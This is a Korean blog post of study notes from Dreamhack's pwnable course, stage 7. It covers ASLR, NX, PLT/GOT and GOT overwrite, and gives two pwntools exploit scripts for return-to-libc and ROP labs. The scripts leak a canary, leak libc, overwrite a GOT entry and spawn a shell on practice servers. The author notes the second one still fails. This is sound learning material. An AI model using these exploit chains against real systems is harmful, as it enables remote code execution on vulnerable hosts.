본문 바로가기

Pwnable/개념

[Pwnable] Dreamhack STAGE 7

https://dreamhack.io/lecture/roadmaps/2

 

System Hacking

시스템 해킹을 공부하기 위한 로드맵입니다.

dreamhack.io


[ Pwnable : stage 7 ]

 

[ASLR(Address Space Layout Randomization)]

 : 바이너리가 실행될 때마다 스택, 힙, 공유 라이브러리 등을 임의의 주소에 할당하는 보호 기법

 : 커널에서 지원하는 보호 기법

 : “ cat /proc/sys/kernel/randomize_va_space “ 명령을 통해 확인할 수 있음

 -> No ASLR(0) : ASLR을 적용하지 않음

 -> Conservative Randomization(1) : 스택, 힙, 라이브러리, vdso 등

 -> Conservative Randomization + brk(2) : (1)의 영역과 brk로 할당한 영역

 

* ASLR의 특징

 - 코드 영역의 main 함수를 제외한 다른 영역의 주소들은 실행할 때마다 변경됨

   => 실행할 때마다 주소가 변경되기 때문에 바이너리를 실행하기 전에 해당 영역들의 주소를 예측할 수 없음

 - printf 주소의 하위 12비트 값은 변경되지 않음

   => 리눅스는 ASLR이 적용됐을 때, 파일을 페이지(PAGE) 단위로 임의 주소에 매핑함.

따라서 페이지의 크기인 12비트 이하로는 주소가 변경되지 않음

 - libc_base와 printf의 주소 차이는 항상 같음

   => ASLR이 적용되면, 라이브러리는 임의 주소에 매핑됨. 그러나 라이브러리 파일을 그대로 매핑하는 것이므로

매핑된 주소로부터 라이브러리의 다른 심볼들까지의 거리(OFFSET)는 항상 같음

 

 

[NX(No-eXecute)]

 : 실행에 사용되는 메모리 영역과 쓰기에 사용되는 메모리 영역을 분리하는 보호 기법

  -> 어떤 메모리 영역에 대해 쓰기 권한과 실행 권한이 함께 있으면 시스템에 취약해지기 쉬움

 : CPU가 NX를 지원하면 컴파일러 옵션을 통해 바이너리에 NX를 적용할 수 있음

 : NX가 적용된 바이너리는 실행될 때 각 메모리 영역에 필요한 권한만을 부여 받음

 : NX가 적용된 바이너리에는 코드 영역 외에 실행 권한이 없음

반면, NX가 적용되지 않은 바이너리에는 스택, 힙, 데이터 영역에 실행 권한이 존재함

 => checksec을 이용하면 바이너리에 NX가 적용되었는지 확인할 수 있음

 => 인텔: XD(eXecute Disable), AMD: NX, 윈도우: DEP(Data Execution Prevention), ARM: XN(eXecute Never)

 

NX와 ASLR이 적용되면 스택, 힙, 데이터 영역에는 실행 권한이 제거되며, 이들이 할당되는 주소가 계속 변함

 그러나 바이너리 코드가 존재하는 영역은 여전히 실행 권한이 존재하며, 할당되는 주소도 고정되어 있음

대표 공격 : RTL(Return-to-Libc), ROP(Return Oriented Programming)

 

 

[라이브러리]

 : 컴퓨터 시스템에서 프로그램들이 함수나, 변수를 공유해서 사용할 수 있게 함

 : 많은 컴파일 언어들은 자주 사용되는 함수들의 정의를 묶어서 하나의 라이브러리 파일로 만들고,

이를 여러 프로그램이 공유해서 사용할 수 있도록 지원

 : 라이브러리를 사용하면 같은 함수를 반복적으로 정의해야 하는 수고를 덜 수 있어서 코드 개발의 효율이 높아짐

 -> C 표준 라이브러리 : libc (우분투에 기본으로 탑재)

 

[링크(Link)]

 : 프로그래밍 언어에서 컴파일의 마지막 단계

 : 프로그램에서 어떤 라이브러리의 함수를 사용한다면, 호출된 함수의 실제 라이브러리의 함수가 링크 과정에서 연결됨

 -> 오브젝트 파일: 실행 가능한 형식을 갖추고 있지만, 라이브러리 함수들의 정의가 어디 있는지 알지 못하므로 실행불가

 동적 링크(Dynamin Link): 동적 라이브러리를 링크

 : 동적 링크된 바이너리를 실행하면 동적 라이브러리가 프로세스의 메모리에 매핑됨

 : 실행 중에 라이브러리의 함수를 호출하면 매핑된 라이브러리에서 호출할 함수의 주소를 찾고, 그 함수를 실행함

 정적 링크(Static Link): 정적 라이브러리를 링크

 : 바이너리에 정적 라이브러리의 모든 함수가 포함됨

 : 해당 함수를 호출할 때, 라이브러리를 참조하는 것이 아니라, 자신의 함수를 호출하는 것처럼 호출할 수 있음

 : 여러 바이너리에서 라이브러리를 사용하면 그 라이브러리의 복제가 여러 번 이루어지게 되므로 용량을 낭비하게 됨

 

[PLT(Procedure Linkage Table)와 GOT(Global Offset Table)]

 : 라이브러리에서 동적 링크된 심볼의 주소를 찾을 때 사용하는 테이블

 : ELF는 GOT라는 테이블을 두고, reslove 된 함수의 주소를 해당 테이블에 저장함.

그리고 나중에 다시 해당 함수를 호출하면 저장된 주소를 꺼내서 사용

 PLT와 GOT는 동적 링크된 바이너리에서 라이브러리 함수의 주소를 찾고, 기록할 때 사용되는 중요한 테이블임

 시스템 해킹의 관점에서 PLT에서 GOT를 참조하여 실행 흐름을 옮길 때, GOT의 값을 검증하지 않는다는 약점 존재

 따라서 GOT에 저장된 함수의 주소를 공격자가 임의로 변경할 수 있으면, 다음에 함수가 호출될 때 공격자가 원하는

    코드가 실행되게 할 수 있음

 

 이러한 공격 기법을 GOT Overwrite라고 부르며, 

임의 주소에 값을 쓸 수 있을 때, RCE를 하기 위한 방법으로 사용될 수 있음

 

 

[Return To Library(RTL) 공격 실습]

 : NX로 인해 공격자가 버퍼에 주입한 셸 코드를 실행하는 것은 어려워졌지만,

스택 버퍼 오버플로우 취약점으로 반환 주소를 덮는 것은 여전히 가능함

 실행 권한이 남아있는 코드 영역으로 반환 주소를 덮는 공격 기법을 고안함

 프로세스에 실행 권한이 있는 메모리 영역 : 바이너리의 코드 영역, 바이너리가 참조하는 라이브러리의 코드 영역

 공격자들은 libc의 함수들로 NX를 우회하고 셸을 획득하는 공격 기법을 개발하였고, 이를 Return To Libc라고 함

ASLR이 걸려 있어도 PIE가 적용되어 있지 않다면 PLT의 주소는 고정되므로, 무작위의 주소에 매핑되는

라이브러리의 베이스 주소를 몰라도 이 방법으로 라이브러리 함수를 실행할 수 있음

 

* 리턴 가젯(Return gadget)

 : pop rdi ; ret => 다음과 같이 ret으로 끝나는 어셈블리 코드 조각

 : 반환 주소를 덮는 공격의 유연성을 높여서 익스플로잇에 필요한 조건을 만족할 수 있도록 도움

 

 

리턴 가젯을 사용하여 반환 주소와 이후의 버퍼를 위의 그림처럼 덮으면,

Pop rdi로 rdi를 “/bin/sh”의 주소로 설정하고, 이어지는 ret로 system 함수를 호출할 수 있음

 --> /bin/sh의 주소와 system 함수의 주소는 pwndbg 또는 pwntools의 API로 찾을 수 있다고 한다.

 

결론적으로 가젯으로 구성된 페이로드를 작성하고, 이 페이로드로 반환 주소를 덮으면 셸을 획득할 수 있다.

 

여기서 주의할 점이 있다고 한다.

System 함수로 rip가 이동할 때, 스택은 반드시 0x10 단위로 정렬되어 있어야 한다는데, 그 이유는 system 함수 내부에 있는 movaps 명령어 때문이라고 한다.

Movaps 명령어는 스택이 0x10 단위로 정렬되어 있지 않으면 segmentation fault를 발생한다고 한다.

 

그래서 system 함수를 이용한 익스플로잇을 작성할 때, 익스플로잇이 제대로 작성된 것 같은데도 segmentation fault가 발생한다면, system 함수의 가젯을 8바이트 뒤로 미뤄보는 것이 좋다고 한다. 이를 위해서는 아무 의미 없는 가젯(no-op gadget)을 system 함수 전에 추가할 수 있다고 한다.

 

일단 아래처럼 코드를 작성한다고 한다.

문제를 풀기 위해서는 강의에서 주어진 코드에서

E로 정의된 부분을 없애고

system_plt에 실제 system@plt의 주소를

넣어주었다.

from pwn import *

p = remote("host1.dreamhack.games", 12365)
#e = ELF(“./rtl”)

def slog(name, addr): return success(": ".join([name, hex(addr)]))

# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)

# [2] Exploit
system_plt = 0x4005d0                     | 위에서 찾은 system@plt의 주소
binsh = 0x400874                          | 위에서 찾은 “/bin/sh”의 주소
pop_rdi = 0x0000000000400853             | ROPgadget을 통해 알아낸 “pop rdi”의 주소
ret = 0x0000000000400285

payload = b"A"*0x38 + p64(cnry) + b"B"*0x8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)

pause()

p.sendafter("Buf: ", payload)

p.interactive()

 

이렇게 해서 flag를 얻을 수 있다.

 

 

[Return Oriented Programming(ROP) 공격 실습]

 : 요즘 실제 바이너리에서 system 함수가 plt에 포함될 가능성은 거의 없음

 : 따라서 현실적으로, ASLR이 걸린 환경에서 system 함수를 사용하려면 프로세스에서 libc가 매핑된 주소를 찾고,

그 주소로부터 system 함수의 오프셋을 이용하여 함수의 주소를 계산해야 함

 : ROP는 리턴 가젯을 사용하여 복잡한 실행 흐름을 구현하는 기법

 : 공격자는 이를 이용하여 문제 상황에 맞춰 return to library, return ro dl-resolve, GOT overwrite 등의

페이로드를 구성할 수 있음

 : ROP 페이로드는 리턴 가젯으로 구성되는데, ret 단위로 여러 코드가 연쇄적으로 실행되는 모습에서

ROP chain이라고도 불림

 이전 문제와 달리 바이너리에서 system 함수를 호출하지 않아서 plt에 등록되지 않으며, /bin/sh 문자열도 데이터 섹션에 기록하지 않는다. 따라서 system 함수를 익스플로잇에 사용하려면 함수의 주소를 직접 구해야 하고, bin/sh 문자열을 사용할 다른 방법을 고민해야 함

 

1. system 함수의 주소 계산

 - system 함수는 lib.so.6에 정의되어 있으며, 해당 라이브러리에는 문제에서 주어진 바이너리가 호출하는

read, puts, printf도 정의되어 있다고 한다.

 - 라이브러리 파일은 메모리에 매핑될 때 전체가 매핑되므로, 다른 함수들과 함께 system 함수도 프로세스 메모리에

같이 적재됨

 바이너리가 system 함수를 직접 호출하지 않아서 system 함수가 GOT에는 등록되지 않지만,

read, puts, printf는 GOT에 등록되어 있다. main 함수에서 반환될 때는 이 함수들을 모두 호출한 이후이므로,

이들의 GOT를 읽을 수 있다면 lib.so.6가 매핑된 영역의 주소를 구할 수 있다.

 같은 libc 안에서 두 데이터 사이의 거리(offset)는 항상 같다. 따라서 lib의 버전을 알 때, libc가 매핑된 영역의

임의 주소를 구할 수 있으면 다른 데이터의 주소를 모두 계산할 수 있다!

 

2. “/bin/sh”

 - 문제의 바이너리는 데이터 영역에 “/bin/sh” 문자열이 없음. 따라서 해당 문자열을 임의 버퍼에 직접 주입하여

참조하거나, 다른 파일에 포함된 것을 사용해야 함

 다른 파일에 포함된 것을 사용하는 방법을 선택할 때 많이 사용되는 것이 libc.so.6에 포함된 “/bin/sh” 문자열임

 이 문자열의 주소도 system 함수의 주소를 계산할 때처럼 libc영역의 임의 주소를 구하고,

그 주소로부터의 거리를 더하거나 빼서 계산할 수 있음. 이 방법은 주소를 알고 있는 버퍼에 “/bin/sh”를 입력하기

어려울 때 차선책으로 사용

 

3. GOT Overwrite

 - system 함수의 주소를 알았을 때는 이미 ROP 페이로드가 전송된 이후이므로, 알아낸 system 함수의 주소를

페이로드에 사용하려면 main 함수로 돌아가서 다시 버퍼 오버플로우를 일으켜야 함

 이러한 공격 패턴을 ret2main이라고 부름

 - GOT Overwrite에서는 함수를 다시 호출할 경우, GOT에 적힌 주소를 검증하지 않고 참조하는 것을 이용한다.

 

* system 함수의 주소 계산

 : system 함수의 주소를 알기 위해서는 read 함수의 got를 읽고, read 함수와 system 함수의 오프셋을 이용해서 system 함수의 주소를 계산하면 된다. 이는 pwntools에서 ELF.symbols라는 메소드에 정의되어 있다고 한다. 아래와 같다.

 

 

* “/bin/sh” 입력

 “/bin/sh/”는 덮어쓸 GOT 엔트리 뒤에 같이 입력하면 되는데, 이때 read 함수를 이용한다고 한다.

    Read 함수는 입력 스트림, 입력 버퍼, 입력 길이, 총 세 개의 인자를 필요로 하고,

함수 호출 규약에 따르면 rdi, rsi, rdx 레지스터를 설정해야 한다고 한다.

 rdi와 rsi는 가젯으로 설정 가능하지만, rdx 관련 가젯은 찾기 어렵다. 이때 libc의 코드 가젯이나 lib_csu_init

가젯을 사용하며 문제를 해결할 수 있거나, 또는 rdx의 값을 변화시키는 함수를 호출해서 값을 설정할 수 있다.

    예를 들어, strncmp 함수는 rax로 비교의 결과를 반환하고, rdx로 두 문자열의 첫 번째 문자부터 가장 긴 부분 문자열의 길이를 반환한다.

 libc에 포함된 rdx 가젯에 포함된 “pop rdx” 찾기

 

$ ROPgadget –binary /lib/x86_64-linux-gnu/libc-2.27.so | grep “pop rdx”

 

      : 위의 명령어로 검색하면 어마어마하게 많이 나오는데, 아래쪽으로 내리다 보면 찾을 수 있다!

 

이 실습에서는 read 함수의 GOT를 읽은 뒤 rdx 값이 매우 크게 설정되므로, rdx를 설정하는 가젯을 추가하지 않는다

 

결론적으로 read 함수, pop rdi ; ret, pop rsi ; pop r15 ; ret 가젯을 이용하여 read의 GOT를 system 함수의

주소를 덮고, read_got + 8에 “/bin/sh” 문자열을 쓰는 익스플로잇을 작성하면 된다고 한다.

 

 

이제 문제에 해보고 있는데, 쉘은 얻을 수 있는데 명령이 안 먹힌다,,

Libc 버전은 2.27이 맞는데 자꾸 EOF가 뜬다.

다시 해봐야 할 것 같다... 

 

from pwn import *
def slog(name, addr):
	return success(": ".join([name, hex(addr)]))

p = remote("host1.dreamhack.games", 19853)
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")


# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)

# [2] Exploit
read_plt = 0x4005a0
read_got = e.got['read']
puts_plt = 0x400570
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1

payload = b"A"*0x38 + p64(cnry) + b"B"*0x8

# puts(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)

# read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)

p.sendafter("Buf: ", payload)
read = u64(p.recvn(6)+b"\x00"*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
slog("read", read)
slog("libc base", lb)

slog("system", system)

p.send(p64(system)+b"/bin/sh\x00")

p.interactive()

'Pwnable > 개념' 카테고리의 다른 글

[Pwnable] Dreamhack STAGE 8  (0) 2022.08.26
[Pwnable] Dreamhack STAGE 8  (0) 2022.08.26
[Pwnable] Dreamhack STAGE 6  (0) 2022.08.25
[Pwnable] Dreamhack STAGE 5  (0) 2022.08.25
[Pwnable] Dreamhack STAGE 1 ~ 3  (0) 2022.08.15